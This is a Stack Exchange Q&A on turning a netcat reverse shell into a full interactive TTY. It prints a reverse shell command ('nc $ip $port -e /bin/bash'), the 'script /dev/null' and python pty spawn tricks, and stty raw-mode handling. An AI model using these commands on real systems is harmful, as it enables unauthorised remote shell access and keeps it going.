3

How can I upgrade a primitive Netcat shell to a fully-featured login shell with tab-completion and line editing?

Suppose I start a remote (reverse) shell using Netcat as follows:

nc -lvp $port
nc $ip $port -e '/bin/bash'

Now, what I get is a shell without TTY, tab-completion, line-editing, or history. That is, the left, up, right, and down keyboard keys results in ^[[D,^[[A,^[[C,^[[B, resp, and pressing ^C causes the shell to terminate:

   $ tty
   not a tty

Now, it's fairly simple to start a PTY for the shell, so that commands like su may run. However, the shell still lacks essential features (see above) that one expects from a normal login shell.

If possible, how can the Netcat initiated shell be upgraded to something that resembles a normal login shell? Please, explain the steps.

terdon
  • 234,489
  • 66
  • 447
  • 667
Shuzheng
  • 4,023
  • 1
  • 31
  • 71
  • this link has a lot of good info I have used in the past https://netsec.ws/?p=337 if you wish to see some of the shell upgrading in action check out ippsecs youtube channel here https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA I hope this helps, both helped me in the past – user7650484 Jun 12 '19 at 16:15
  • Thanks, I've only had success with spawning a TTY using `python -c 'import pty; pty.spawn("/bin/sh")'`, but none of the other commands on that page. Can you explain? Also, can you explain how the trick works using `stty raw -echo`? – Shuzheng Jun 12 '19 at 16:20

1 Answers1

4

You cannot "upgrade" an already running shell.

You can however

a) create a pty and run another shell in it with script /dev/null

b) fiddle with your local terminal so it doesn't intepret the intr, eof, eol and other keys specially, but pass them through.

$ nc -lvp 9999
Listening on [0.0.0.0] (family 0, port 9999)

  [ncat -4 localhost 9999 -e /bin/bash in another terminal]

Connection from localhost 36790 received!
exec script /dev/null
Script started, file is /dev/null
bash-4.4$

  [press Control-Z]

[1]+  Stopped                 nc -lvp 9999
s=$(stty -g); stty -icanon -echo -isig; fg; stty "$s"

  [press Enter]

bash-4.4$

  [now history and control keys work as expected

   you may also want to set the correct name with TERM=
   and the correct size with stty rows R cols C

   press Control-D to terminate the shell] 

Anyways, this netcat game is pretty pointless and ridiculous; who really wants to run shell sessions through unecrypted connections? We already used to have things like ssh back in 2019.

  • Thanks for you excellent answer @mosvy. I'm in doubt of the following things. Could you explain the "pty" and "local terminal" parts more elaborate? We create a pty on the remote side, right? Aren't we manipulating that pty using `stty`? Are the `-icanon`, `-echo`, and `-isig` options for `eof`, `eol`, and `intr`, resp? What should `TERM` be set to? I sometimes see `xterm-256color` but also `xterm`? – Shuzheng Jun 12 '19 at 17:45
  • As already mentioned, all the stty manipulation is done on the *local* terminal, in order to send any control keys unmodified through the netcat. You should set the TERM envvar in the *remote* shell to the name of your local terminal, whatever that is. (Same with its size). This web interface makes hard to display terminal interactions in a nice way (eg. with colors), but I think that with a little effort, anybody could figure out what the user input and the program output are in the example above. –  Jun 12 '19 at 17:52
  • What I don't understand is: Why do you `stty "$s"` after `fg`? After you `fg`, you enter into the remote shell once again, don't you? So you are manipulating the remote terminal device (pty), why? These are the technicalities that I'm not sure about. – Shuzheng Jun 13 '19 at 06:47
  • In order to not have your (local) terminal completely messed up when you exit from the remote shell with Control-D. The commands after `fg` will only be run after the `nc ...` has returned. The `stty "$s"` restores the terminal settings saved with `s=$(stty -g)`. Just try it without it to see the difference ;-) –  Jun 13 '19 at 06:50
  • Ahh, right! I missed that `stty "$s"` is first run, when `nc` returns to restore the TTY settings, *doh* - now it makes more sense. So, we are manipulating the local TTY using `stty`... Why isn't it necessary to manipulate the remote PTY that was allocated using `script /dev/null`? And why do you run `exec script /dev/null` instead of just `script /dev/null`? – Shuzheng Jun 13 '19 at 06:53
  • Why should we? It's the remote shell's business to manipulate it as it sees fit. Again, try it without exec to see the difference. –  Jun 13 '19 at 06:56
  • I've done, yes, without restoring the local shell is broken after `nc` returns. Why do you use `exec script /dev/null` instead of `script /dev/null`? In other words, no manipulations is needed to the remote PTY in order to get a near-authentic login shell experience? It isn't needed to run `reset` or `bash -i`? – Shuzheng Jun 13 '19 at 07:25
  • `exec` is needed because otherwise when you press Control-D you will not return from `nc -l ...`, but to the original shell started by `ncat`, and which will **not** be able to handle the raw input sent from the local tty. You won't even be able to get out of it other than by killing it from another window (or maybe by blindly pressing `^Jexit^J`). Why don't you try and experiment yourself? –  Jun 13 '19 at 07:46